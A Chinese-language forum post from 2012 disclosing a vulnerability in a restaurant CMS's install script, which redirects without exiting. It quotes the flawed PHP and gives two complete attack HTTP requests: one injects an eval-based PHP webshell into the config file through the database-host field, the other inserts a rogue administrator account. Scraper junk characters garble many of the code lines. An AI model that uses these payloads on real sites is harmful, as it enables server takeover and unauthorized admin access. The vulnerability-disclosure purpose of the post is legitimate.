找回密码
 立即注册
查看: 3091|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。( L3 N% }; r6 y4 ?5 m( u. O
. o# h( U, T2 u8 i! H3 R8 l
<?php
" f# ^( V! W+ u! z2 y: pif(file_exists("../install.lock"))
. _1 O6 f5 a, l% S, @{" ~' R" \' t7 L% X" j* j0 K  {5 g( ~2 \
    header("Location: ../");//没有退出4 \( m- P& D8 W$ q2 {: \- a
}
: W9 ?, {7 f" l' l               - P- e6 ^+ G% W
//echo 'tst';exit;
1 f4 k, m1 K! v- Erequire_once("init.php");; i! `0 Z. O: a/ m  c; J7 N$ j5 u/ B
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
; X7 k% }0 _) k2 @{- v( D/ U1 @5 o' K7 M( i3 S
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。$ j- E6 S; ]; r( r) p

( x6 y! k9 j8 L- U% V) l5 J1、getshell(很危险)
% f9 E8 E) O6 \. Wif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
% {7 p* k7 M2 ]/ M7 y. W{: ^/ O9 v' n9 y6 t' B. H
$smarty->assign("step",1);2 |# t5 b- n/ K5 D! z
$smarty->display("index.html");
& p" ~. J8 Z' l$ {7 K% K  m}elseif($_REQUEST['step']==2)
/ @+ |3 M# I, z+ P4 N2 Y{9 E. |6 r6 S: ?& Z
    $mysql_host=trim($_POST['mysql_host']);
5 X/ i8 D7 w: G4 O    $mysql_user=trim($_POST['mysql_user']);! J7 x/ H/ k  N7 q
    $mysql_pwd=trim($_POST['mysql_pwd']);
! u% D. l7 C" L7 n& d) S* M$ \    $mysql_db=trim($_POST['mysql_db']);# M$ l. w9 o& R. o, @. x% W. j/ @
    $tblpre=trim($_POST['tblpre']);- }* _4 p+ I4 Z
    $domain==trim($_POST['domain']);
- U8 A% U- i3 A; ]9 p" y    $str="<?php \r\n";* g* f# m; n% v- O# `
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";9 W( L+ z6 O" J% b' B
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";! g0 j! g3 n" g; t
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";5 }) h- _6 `( c- {! N+ m" Q  K
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";3 D3 C! O; S  z8 z  D* P
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
. t- B6 v8 ]9 J& M, s    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
3 N8 Q/ Z0 Y+ F; w6 i( y( K7 }; A7 p    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
1 O$ F1 l+ C6 R    $str.='define("SKINS","default");'."\r\n";6 i  Z" H9 u3 ^( r
    $str.='?>';
: {, a) }" O0 h! h1 N    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件; d# R6 \' k! {* Q, A3 q7 A
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
" s" J; Z. p; Z8 h+ P* W3 ]- ?8 NPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
% W! w, o0 n  T0 H/ R" f4 ~Host: 192.168.80.129
' u# P% I8 \+ V6 x& ~User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0" g2 x* ]/ r) {
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
& c/ C# j9 d5 p& ?0 QAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3  c! u5 \) u7 L. j  _
Accept-Encoding: gzip, deflate; C) B5 N/ `* i3 p" Z# B7 Y
Referer: http://192.168.80.129/canting/install/index.php?step=1! |  T! S; z& A: \7 t7 d- m1 o8 p
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42/ }7 ]8 _' m6 R" T
Content-Type: application/x-www-form-urlencoded; E: U/ }' T- e7 i* S- b' ~9 N
Content-Length: 126& h$ X) E3 y; s, k' o( s# |
          9 D9 @' f4 c/ ?
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
5 a, P' N: i* S但是这个方法很危险,将导致网站无法运行。
" N. E& \, h/ I$ W8 e
. i- J# s. ~$ E2、直接添加管理员
2 n' P8 E* O& ^( q5 `& m
) d8 _5 d( r; c" yelseif($_REQUEST['step']==5)
1 T9 g: `# S9 o( y3 X& O' r2 |$ l1 Z, R{" b- T; x" W- M% m+ K
    if($_POST)
2 k; }( V* @6 D0 p    {   require_once("../config/config.inc.php");. q4 ^& e$ h. ^" Y
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
6 f; E8 z' ?" j) p# ^7 R. w) l. n        mysql_select_db(MYSQL_DB,$link);
% q( @) a, r& u- q* _: s8 L+ J        mysql_query("SET NAMES ".MYSQL_CHARSET );
5 x  |  F( @& I8 m3 R7 C         mysql_query("SET sql_mode=''");
1 X" L  w; m9 w1 a( r# c/ G) i
) Y4 j$ e9 g$ r $adminname=trim($_POST['adminname']);4 T# L, Z, ]# h# ?# _8 t0 f1 ^8 b
        $pwd1=trim($_POST['pwd1']);3 w8 r* \5 e9 ^/ M% G
        $pwd2=trim($_POST['pwd2']);. X" I% ]4 K0 J6 B, c
        if(empty($adminname))
' N) s, t9 h7 c& Z/ F9 @+ `8 J        {
/ t# r) t: l! b( u& v& _, m+ y
4 C" d+ J) f8 R; E echo "<script>alert('管理员不能为空');history.go(-1);</script>";2 i. T) z; I7 M5 o' t' _
            exit();2 U! [* {6 r# F( L
        }
# W2 ~( j! M6 I1 N        if(($pwd1!=$pwd2) or empty($pwd1))/ G$ M7 w8 I# e3 G
        {
9 H9 A$ t2 N9 p6 u            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
! j4 ~- V8 j' [1 j5 M- _        }
$ B9 Z$ d7 e  }' e& a7 B& R( I& \' c        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
3 N8 z% C7 i, a% l    }
+ O' M+ I& f2 V1 p这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:3 ?7 U1 C. Q* p- W) u
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
3 v: t5 G1 Y( _Host: 192.168.80.129
: i2 ^7 a# l! l* V2 dUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0* [% z& H, E; k  i& Q% Y% Z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* @, _1 I  D' y( jAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
: j# e  i9 ^- @) J6 B. K# XAccept-Encoding: gzip, deflate
& e/ X5 R" V5 Y4 d! L3 ?Referer: http://www.2cto.com /canting/install/index.php?step=1: Y0 ]$ {4 e6 J4 D' D8 Z& U  l
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ b5 d6 g& P0 O4 n+ }Content-Type: application/x-www-form-urlencoded
$ r- u& @% G' f0 K$ T) IContent-Length: 467 j% i. ^) X. ~4 k. U
        T' C% Q( c$ T* t
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​$ p2 U! _1 B- R4 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表